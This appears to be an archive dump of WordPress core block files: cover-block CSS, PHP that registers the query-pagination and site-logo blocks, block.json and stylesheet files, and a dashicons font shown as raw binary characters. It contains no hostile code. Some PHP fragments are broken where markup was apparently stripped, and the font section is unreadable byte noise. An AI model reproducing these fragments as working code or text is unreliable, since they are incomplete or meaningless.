.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50 { opacity: 0.5; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60 { opacity: 0.6; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70 { opacity: 0.7; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80 { opacity: 0.8; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90 { opacity: 0.9; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100 { opacity: 1; } .wp-block-cover-image .block-library-cover__padding-visualizer, .wp-block-cover .block-library-cover__padding-visualizer { z-index: 2; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image::after, .wp-block-cover::after { display: block; content: ""; font-size: 0; min-height: inherit; } @supports (position: sticky) { .wp-block-cover-image::after, .wp-block-cover::after { content: none; } } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { width: 100%; z-index: 1; color: #fff; } .wp-block-cover-image.is-light .wp-block-cover__inner-container, .wp-block-cover.is-light .wp-block-cover__inner-container { color: #000; } .wp-block-cover-image p:not(.has-text-color), .wp-block-cover-image h1:not(.has-text-color), .wp-block-cover-image h2:not(.has-text-color), .wp-block-cover-image h3:not(.has-text-color), .wp-block-cover-image h4:not(.has-text-color), .wp-block-cover-image h5:not(.has-text-color), .wp-block-cover-image h6:not(.has-text-color), .wp-block-cover p:not(.has-text-color), .wp-block-cover h1:not(.has-text-color), .wp-block-cover h2:not(.has-text-color), .wp-block-cover h3:not(.has-text-color), .wp-block-cover h4:not(.has-text-color), .wp-block-cover h5:not(.has-text-color), .wp-block-cover h6:not(.has-text-color) { color: inherit; } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, .wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image img.wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover img.wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; -o-object-fit: cover; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover__video-background { z-index: 0; } .wp-block-cover__image-background { z-index: 0; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; }blocks/query-pagination.php000064400000001777147177035020012050 0ustar00 'navigation', 'aria-label' => __( 'Pagination' ), ) ); return sprintf( '', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination` block on the server. */ function register_block_core_query_pagination() { register_block_type_from_metadata( __DIR__ . '/query-pagination', array( 'render_callback' => 'render_block_core_query_pagination', ) ); } add_action( 'init', 'register_block_core_query_pagination' ); blocks/site-logo.php000064400000013253147177035020010446 0ustar00(.*?)#i', '\1', $custom_logo ); } if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) { // Add the link target after the rel="home". // Add an aria-label for informing that the page opens in a new tab. $aria_label = 'aria-label="' . esc_attr__( '(Home link, opens in a new tab)' ) . '"'; $custom_logo = str_replace( 'rel="home"', 'rel="home" target="' . esc_attr( $attributes['linkTarget'] ) . '"' . $aria_label, $custom_logo ); } $classnames = array(); if ( empty( $attributes['width'] ) ) { $classnames[] = 'is-default-size'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); $html = sprintf( '
    %s
    ', $wrapper_attributes, $custom_logo ); return $html; } /** * Register a core site setting for a site logo */ function register_block_core_site_logo_setting() { register_setting( 'general', 'site_logo', array( 'show_in_rest' => array( 'name' => 'site_logo', ), 'type' => 'integer', 'description' => __( 'Site logo.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 ); /** * Register a core site setting for a site icon */ function register_block_core_site_icon_setting() { register_setting( 'general', 'site_icon', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Site icon.' ), ) ); } add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 ); /** * Registers the `core/site-logo` block on the server. */ function register_block_core_site_logo() { register_block_type_from_metadata( __DIR__ . '/site-logo', array( 'render_callback' => 'render_block_core_site_logo', ) ); } add_action( 'init', 'register_block_core_site_logo' ); /** * Overrides the custom logo with a site logo, if the option is set. * * @param string $custom_logo The custom logo set by a theme. * * @return string The site logo if set. */ function _override_custom_logo_theme_mod( $custom_logo ) { $site_logo = get_option( 'site_logo' ); return false === $site_logo ? $custom_logo : $site_logo; } add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' ); /** * Updates the site_logo option when the custom_logo theme-mod gets updated. * * @param mixed $value Attachment ID of the custom logo or an empty value. * @return mixed */ function _sync_custom_logo_to_site_logo( $value ) { if ( empty( $value ) ) { delete_option( 'site_logo' ); } else { update_option( 'site_logo', $value ); } return $value; } add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' ); /** * Deletes the site_logo when the custom_logo theme mod is removed. * * @param array $old_value Previous theme mod settings. * @param array $value Updated theme mod settings. */ function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } // If the custom_logo is being unset, it's being removed from theme mods. if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) { delete_option( 'site_logo' ); } } /** * Deletes the site logo when all theme mods are being removed. */ function _delete_site_logo_on_remove_theme_mods() { global $_ignore_site_logo_changes; if ( $_ignore_site_logo_changes ) { return; } if ( false !== get_theme_support( 'custom-logo' ) ) { delete_option( 'site_logo' ); } } /** * Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`. * Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`. * * Runs on `setup_theme` to account for dynamically-switched themes in the Customizer. */ function _delete_site_logo_on_remove_custom_logo_on_setup_theme() { $theme = get_option( 'stylesheet' ); add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 ); add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' ); } add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 ); /** * Removes the custom_logo theme-mod when the site_logo option gets deleted. */ function _delete_custom_logo_on_remove_site_logo() { global $_ignore_site_logo_changes; // Prevent _delete_site_logo_on_remove_custom_logo and // _delete_site_logo_on_remove_theme_mods from firing and causing an // infinite loop. $_ignore_site_logo_changes = true; // Remove the custom logo. remove_theme_mod( 'custom_logo' ); $_ignore_site_logo_changes = false; } add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' ); blocks/post-date/style.min.css000064400000000052147177035020012360 0ustar00.wp-block-post-date{box-sizing:border-box}blocks/post-date/style-rtl.css000064400000000057147177035020012402 0ustar00.wp-block-post-date{ box-sizing:border-box; }blocks/post-date/block.json000064400000001666147177035020011725 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-date", "title": "Post Date", "category": "theme", "description": "Add the date of this post.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "format": { "type": "string" }, "isLink": { "type": "boolean", "default": false } }, "usesContext": [ "postId", "postType", "queryId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/post-date/style-rtl.min.css000064400000000052147177035020013157 0ustar00.wp-block-post-date{box-sizing:border-box}blocks/post-date/style.css000064400000000057147177035020011603 0ustar00.wp-block-post-date{ box-sizing:border-box; }blocks/social-link/editor-rtl.css000064400000003561147177035020013040 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-links .wp-social-link button { font-size: inherit; color: currentColor; height: auto; line-height: 0; padding: 0.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); } .wp-block-social-links.is-style-logos-only .wp-social-link button { padding: 0; }blocks/social-link/editor.css000064400000003561147177035020012241 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-links .wp-social-link button { font-size: inherit; color: currentColor; height: auto; line-height: 0; padding: 0.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); } .wp-block-social-links.is-style-logos-only .wp-social-link button { padding: 0; }blocks/social-link/editor.min.css000064400000000553147177035020013021 0ustar00.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{font-size:inherit;color:currentColor;height:auto;line-height:0;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}blocks/social-link/block.json000064400000001174147177035020012224 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/social-link", "title": "Social Icon", "category": "widgets", "parent": [ "core/social-links" ], "description": "Display an icon linking to a social media profile or site.", "textdomain": "default", "attributes": { "url": { "type": "string" }, "service": { "type": "string" }, "label": { "type": "string" } }, "usesContext": [ "openInNewTab", "showLabels", "iconColorValue", "iconBackgroundColorValue" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-social-link-editor" } blocks/social-link/editor-rtl.min.css000064400000000553147177035020013620 0ustar00.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{font-size:inherit;color:currentColor;height:auto;line-height:0;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-right:.66667em;padding-left:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}fonts/dashicons.woff2000064400000063024147177035020010630 0ustar00wOF2f HeBVv @@6$P * "S'ݗPn|M1F" tV593ȘT.i un"hUkTJ;Opc 7ݧ`yZ5 Q W8exh2q$}~fð$l %j淴B,w~K|{ս?t` 95y!9j/2z0ىU^<[eY_ :Chg, O/ZwaL̅%cd LwcW:QCv9k v+ZQN@@km^LB1x$C"Zf R`1 i$0Ty+JT]zX7r+\J]TJaap$0NsF40]E,EVuu8Xs@r/m} f#`{:@@I B!Ÿ"ejI(s[o1 ~oܭ39bXBL('ioȏ{OFu6i_?*}qZ̐dB/)H#\x& $KPZA-[g}_%t/J]b36z|CVc<}ETdJYծC~]:y 7 kG2oOMn)ڟ`ⷌ.\0*eW&BA aPb@"2@ b&qPxXMK$$C%R0 %42M:T#L'Er&\J!ReB(GPB`?RcT050Zb:Skhh4(-0V_ɦtT=Ђ^ALf3s &#ДQhf63#-L"0[e12[!*Dm Nl@Emx]GI$Ar*s(q p 6NM8 89ø3 B\%t׈00[$uspp?DZ~C0 ~P3-H+/ /â'w ~ C:~'x+ ? ¿>=TA24"X؅,V#!B."TРB#L聰3†N ?"@z"큈`?"S"2d"YV!ʉ*t&bCp Fڱp ospJ"XA|bpf7@9ߣ p-)?%c3@+ Y3V`z#|fp]KyKƲ |ɀDL='rhU{J7Ly}#+\ E󆖼բ唽96M.mwB>@Ȗ;F+V4>WQ&Ko^V̱BIt=/JL*Òј#YHNE (5 CP*eDcA/hJ>ǽ  2]󭶭_HF!zliN2 <5gz"B>Y2)3snK\ޅTtZ0dQpH А+gד`"%c0cR`&Wf C-,[XDeɨaoORIW̏+[x(E}BV׃a3NlgCTeTHub6,kC*= fJE Kb%l0MZNuXW>Wq=:GL{ @=Ҁ.5R|Hc l<;!QPO qt:iyzi?۠Tt:OuqcT@HAW]_`K,nhfucLLqZt/Vt3mteOuVyisz{ſQZ7n(f7b1͆ ڿ:3d=./~a tZPw֐#cEO φ%ڼ(^l S<<Z{2N f5WT`c)nQgs",e)1F,~ "YOUĕZy\]&aL\cȯՋ7(e OLs#Li2F{E8K𬥎t9cVѻvDMx Oǎ|~,?)2~pjbӱ.)/ǁ2 {TmnD^xszDG\Mhq ~"Q#y)^#Qd0 eVa yjK糂}AU#>.Ԇ`>>-ΝDTC6F&t:͕g@ @3O\/:wZaG.a}ƛ|,$)iଽ/\:ԕW0 n͹~u%P z>>ӯV:j襌 ~n,^I~X_Xnyh_8qѧ\)E۵vm/29KƣStԖo5˾|B[ us % ]6z9::]Y2&=mavy='$L)2b\S3TT$$C"y%<*bt9.p7~9`]a 8z`:h6g{K@+Mьa$S:Y=Hg2< ^8kBJޭgKaa5?=eկ$7@77tHR#"?JЃ˺]"áa,v 䉉ߝ5nB!0UkMݘLe.=01Y,-qIcVT%RQ%r_ 4rP`QQ|1Q*fXn7„B|+:W1lp#bgNͿNY'g\aPFnXe}6/D' E>'ьݖi81 48l:M䷯C%$s\ j~`~fk}Hy C(OFr0&>)TTpX4 Tp5tJӻbv[ƃlpQ[o^eYۺU5|GeT{sy?_)%]#e[X4mX(k,HͲj`H0 ɵ2%MS vl1x*i Ώ ΌËYoi5g꠆'i ư vݦ M]&1N>΢{nZ{#&B.gJ1xZН\&ZB㷃K[ X0~G$:pؙf[0sQ)xؔK d7$|ʃXx1^?OClA]xe`͂e4cm| yb)0Q1ZX~0 RA g"#K@hK rԱZ'J!$Oxښ{E <"E.D궥l8O:f$ cJ2zGRUB[XM(2B^o{w͝'b %W3J]bc-Rxs2 ߊ QLU[#2pbD6MUIۙaU9t - mr~NHPm)C=enIvц58t+XӀ PIpTCm:|No+uYDs fmNa)m26ҩL'/_y-_t"(IEP]fcȺWbqvlS<`yRjH^mOfjqLɮ;<'Ijzs).$[l,Kgd# s85"߉^QΦ- z`e/w2n{ UxQϑA']m(=XJ~TziwݗlrH4:ע{K{{zHd} yFUW)(+P@%gԪ’" L"+g_:Ă|'>#e#>A>58&UhOэBF%۠TXtRE^7oSmd_?0X}h鍊cum9m%ga JeQc}2[ H W;+HVY.`b e50.r xY"OŶ ȗw6/"UD)^+ MR3>6%࣠=ABBֆ^XcGP/{M]^#_1}.z=S1|VjՑ?;lS9boL(t}5E3MWޏIR_w_boҙ^/sJ?3'?Cx9BE } /5o< XH~@4 צ"8'n=507wܼܤtC ]@,GV&Ѝ]vlw<k*Oc!:>lb) [!<k+7|T |BØϦ(SJR] k|^jbK4@v.uބg0p4Bb߃CMj?S* |ShRttH_lTuR$0Os$>9 Swz;$)Pq\r ίZtR:J)Hb|A m*g"#YOAi \{Ẃyx;ԇ)f[ ox0}xs^]N,<_WUu!ѕB< qIE2@IOjuw gqv q; [| d7`yj@(QEN)/m8JV}+=p&4!.$HCVLU@cRewzWhD $eM"z>N% )PUy5M9&BL=Jw̱7o WH#=4n=c: W*'^x: jZkl$L2&AAm-UhQցHO-19a0ءԓ D~bu4YdzDcȒ/<:t 6OaYDf}HkqSn#o6$m Z#DHRh̶r/sU|UO 2:YMxҹI.C…QHPEq9:JG}LM+W #g623ձ˧Bo{P.*;pp(`0KD1~]TrLJ-rHWuD>G&'=tBTȗYnN4%Ugߓa!*k򝡎P-gb_jTcؒ Fs4q}HPː0bK,!ZTM.f Y(SA))O?I{_ې|:B+^YKs!v'1ֱ:YASx(q12ƇXd`_ZnyMq6;ycV=dXPE˩P)#1p:fɛCx#9fj+]QTS̢$\ L(Md؀*%'{6\RUaB??khv<[WC!Zu4qԕ,I+U$nNӤy&[$RmVK8vAL$o}Xx7tKij!7LN.܇O3fm~$ڝ_kɬiTEX *ThKBgfTgDk;$W18&bC= xYKh,/<2㏾hmZ_.|cOXmGGָWEt+9IvOpd N3:MzO]& D3B@D iMkPize^HYDT0, z N7b[0#s&sGdi,m3$8̉nDaK^#ö`Yq yy1mmϬ/\O=+PںdP1e!N O0"'ww;Hw޵.I9Au$e&q2 Bd8ݩcSw+\ʄGGNYoH,+uojT8DdaeF5 r)Y /`PD2}A4Kh:$_7l)⽄? N(w~LinтW*< ZSYF3G,yI)jiٜFWqرu,_st?7Iװ ^sXQ”ZUfY ySzkmW+3mY֭cDƣ+-֩a ˥( fn\16&} -_Q=B1uBV*ޒ& E6>yQa/ñ-2Mj^rlI=SlS7f,JaDž@ AlcSTfvZdxBH۽>nZ{푛Z q;K!z!9DoLY{m$/R_wb-0*#^%/ATQikCCU.޹!#mC1{GQ2=_|2B:vY_W=\yhs/vxL4$vlWj]tF~*?s:Զ^=}hњ]/{, [۝0FGigx<~gs'ߘWN\dnMGލʄ-rѶ&.K|ՊI-G.W6?~l&OΚ2V܊ntM)uO]8kTtƁҗ0/H9bl|1 ~8c4yLg++ukLZ_[dhet-;C$f ם48s/dZQ定xzO{&Ǎ3ӢK0_y!нȔ,f$ 8axl.*UYj;1%LπT>iDs.T>zoMQƲi];}J~&ƦRy z3bДDS`ti"6 (@4~Di hdqϴYky9q_].sݽqO;"Vstt}s MyzsۼXKrL?𶘑@Gt̴+?j?۟oݯ/ v]mW)XiF{bx}5Y .Hj깞ɇ]1+7?*U-]]Le*uCf Km6Ÿ:3 jTjZ2E2a!OEJxTQsȿ#];~75|78yE?OfT-!o= ħp*1v5,:?/`[ͻʿ>j[ |{2Y+ qu0<#innvΰ_w5kR_(h(3"fs)3*򧿱?DPo f g޵W~B:E[hg  2߷͎#eXan#2l uew2 'tb qp]nxĢr4{y!텹cLoհasaX:yލ(%ǂ%eADOY6-TS}8&TYvd$sY U-tlHXԬh}t6eR7+sWQ&!15K}y?qU b1j\$J D&q(oZ0J{ou/ /ʥ YBz  qx3D? c ?H|lK Pљ;*(Cj\˫ ԴnhBdd*lػ [~{n a&lu22\ἁ# L=`p4rj˻ޝ313w}2J>o:؊-۳<Νi>ѴwsoVeHpHÝOg|7(Xx4o:q=>ܴ~zOffOqDtM~"fWL>%Ăǹ8t:BM~QKixޢʄ# GQ{`jL}y[TVwx؂RVqLzVFssd8'd5+ab9s璴?vzz5R?ZGfTS>b[%%+w)J^B4_ >kDB%%dE1/Rm<9UA@F k|<)`B^hB6a,S֊8+8;XsEP`k|{E >Z$^,Ώn}g}@7[𛈰Zv硊 !Y>r)ƈXVu_ΗCMcZBie;nf4O@TvWĂpR' uxT^\fOqmLo4N.n#$MnLJjH.bS(|N\* fWW^erCޣJqq&gI/CF:%]u"pK/)bS%4%zpgкY9i\B^[&'i [4jE&q\q-]'p.7_wW@%6-|sW"Pj(1PUR#_'܀=s?\!>_ڞc]E6leL1Ph1 MA(cd,C>" 'X?G6jɰEUh497и]ݖ]_32\Ά3ڮfc W<.([fơ/݋jf| j;?^[,2;XZ}P=^FeoR$fFMOsg,npr>].cIlhm2]Oe0jyfⓑY˰a~_>Dv@`\lr4lQn޼eXn 9{fphұN`eAGe-C{V*eK94hNp蠠ۛ MW:ʅڗ/UESIkĽ~w%9-+AJP[S=JP=.T0$5N8Ao_`-?/X={TX⽦˲yƬS>\KT @_؀m>~ϲ4ҵCC.YiJ,oWOOe܍G(k&]^qCjWniN:\|4x,vDgm"۳q"SE$љgX}Eepy/.w/ʻ"w_D0fx",344$K\Zaw'%p>#LXR"c+T*6K!:VWbU8޲`xeY xy.;X[:Aς/E[B&?eSCLO<84FI?vf$2#+7O|0V~K|TS>EeQ=]{?PH.atuB UiKLڰjT Ktqa*N^=Eܬ te{ym>z1|kok,M Mo-Ӄ5CǨ=D=a{j_mPdžAx#KiY\施PHZQtIDq_=₂b3իÝQ=a5N %AyBSb }w܊mv(0$immFvz>µZX KP_^YX 9 Wq+ bF5AƭwUs.ԅaxԺǽ؍GՂ:'M精8 GAV+3x?f|;Ŭ!>Pn0s=Hc rQL-TDĸh`lYD$tzmCINo68{QYP2?5 z:͜Éڧ#ͥtk44V  o 7(xE1_>vhԘ:!' 'am[`Atlܣ6l{R 6mٸ8iӈa$7* P*it.BP+i\SZA8M]%M!/EU)d)!qA xI8!WE_`4qel3G -jKYʅve ; :A,s uT^`'n~")L *ZNU9o_Ïxί|s 4bld `o?mQR,Ƨ1[b}hP:ߡB:O|gj&I'\m`0Ot=3G7LGP\GMGi˯#o%#G^DXBlL]֩ȩ.H pNӻw'F򽥚`X܂%K6^-K e^;qE7ˇ,YyZD| G4-nTB Wt8q!0I=)üioj  .LoZ 2KPیFϯ-b0Yh@#?~Py._F*;|>.ٓ5O dqLԭXn=1#cJۖ 3y3$DcbX/v m^1<ºL5IMYð{4&1w:3?){wz$UX@+cTޜ:'cC^w$Lrw(@)AXsQ FGC 6mB5#w49V^xo˞:,wV\{fO sL:|+ir;yC3+~2Rz4v"MS:(v/5#(0;u0zO֧k-AޘkPәZpԪ!YVDc\PXY &,i$+j^:D0ٕ ' (?ל^mY65]!ƽd(:1!].sŸ́˻| W3skiӫJnrp9' @.̨ⲥLNrZRtwؕ ͕v&Tℊ'S&"7VHXgeƦUu=x4YK0 :swo\#ĢD1Fe_)i7!9;,, }Dyf IX)G{>)ݹ/i !yAڂ$]9=B6޵D/45(!`)%Q=ZiāT 8؆:E q ^s?*tc@x[QYQ}ۍ*QKC,yTѧҶm],J)[^hYUI/3Tr{8aEp[z)H JY |Fa%͖, )!}iY΄C0N6FG A,v uVEBanc]`56熖Ypz2B1g?L+S7TiuW*Ґ[|֐bJJ/}p89rmv,,213+٠Uz-O/$F8 Jǝ P`Lޚ4ЬXʍ_C^3bՎ5:&n`9G*Xf 2@]Q@t(D' ·D72{axen,b,0^p"}gU?vS[a"|͠˴Y))Vky˴X=Q,|*vשwLnFA{lxo^8ٻN[%P>"17 =IS"[e&x+ 祖xͧ@<| z1>\a> ?a5^#.4Vӏ1(aunz| s vns<<)ElnLZZcҊ;C:Ў֕0H1wN1Qw(ͤBo_qrf@8wm[^ چ;7wGwqeω(jjMfUAub*#YSɌU髆T\4;`! Ϝ~)Yg"0KLG,w1Dorͷn~+oWIxU _0o;vtA&7 @:cbd qIvX*G91G؊hدaHKFI.S04(xoz6DJ:_A| w"d-VpI^(,f< Jj q.2DGgb `8tĸg `Bywo6T]=zN5HOo}sF0OxVc[ m0`:Oyppg>$UOe}$"OB`>QfZ#^J2bOHm2`5O)`Z;8jtmTβsC4%fۖ/rY#_[IWBDG0 nԉ#r\!Q\V"T8L &1/ēH=~Az@AT{ Rk]\[l mG1JHFr@Ӻn!'e} 򏄿!^ KW+a d dB1"o%"7.8jdi/p~X`AͧV-ˮhQkg%흇?<ݙFG 9g>nC{pnQ* ~d_l]|ep ,.!( f9,ۆ|5pPj:x]בR9ųeuyD')hy'Dg҃ǼJ E3ٺcQs{n2fv?%K[ zřs Ϗ#SpM?=l_+#IHf͆^pz6bñ>`&AY4Ra;*+>A45 /n\.Tpl|iv6~e3z,V{(]V7U7FN UA]F3%θݤ"\zZ*,) 1_]b&1DjUSws}u+rKV<3d]],Fz)%C-E=a/$vZDø j699(&:'Z!un ii n|CFiB6S\$Jq}o~ŝVsCczm4-nhC`'JdRxWQ2#lXǥm JO9,/eӟg|QS=T7x(',̗(a+kIFQ)?{ 'GX|N:RU qGؕ+aU\yyx[  O'Q;xڤk; GL#rmQgHHX'-ݕ\/ k x>=<<'"o]EANΒeY,{TF[FGegsf p6'IJ:asxpݸ 0IJ3QJŧJzkNAtTNsH;Kڪ`.vCOɼh:잳v2w̽92p<w`fn@,Y= =[vV+Kxjf)78݊mI5\OH4d--V9=d~Ҭt4-i gMJq wZwz#7-ֱkQ#0ue'ڦ+ bc6blaI9@ļ)\pƹ[0m (VRCKDc"ׯ\XEcDp!5f3m}"hqo 9SΓ `TRpW=c{`>r/HvMAd jkjg9@zRUKxŝ-3 *0]F~u{ZFltӚ[6}MN:4frpjD%gfO\)~ /{]+M>{ɣP衾WĒ>K0Q(^'5Kkf#b/_``vңBnmEqo[ ZGTZjht*h |m3H$ ݺNR$f7F 2<;B`Acݮ$F4.D1V6'{1IKmjJ]a.H}إ}Cxǎ qne4ְ](qU;{?(κkP%D).Hv\ȵc'n>dDic3gU:";_n DzVAV-.D2#.&'yJ>0+`I%AʤкD tFt^r[+}CP,耦+ 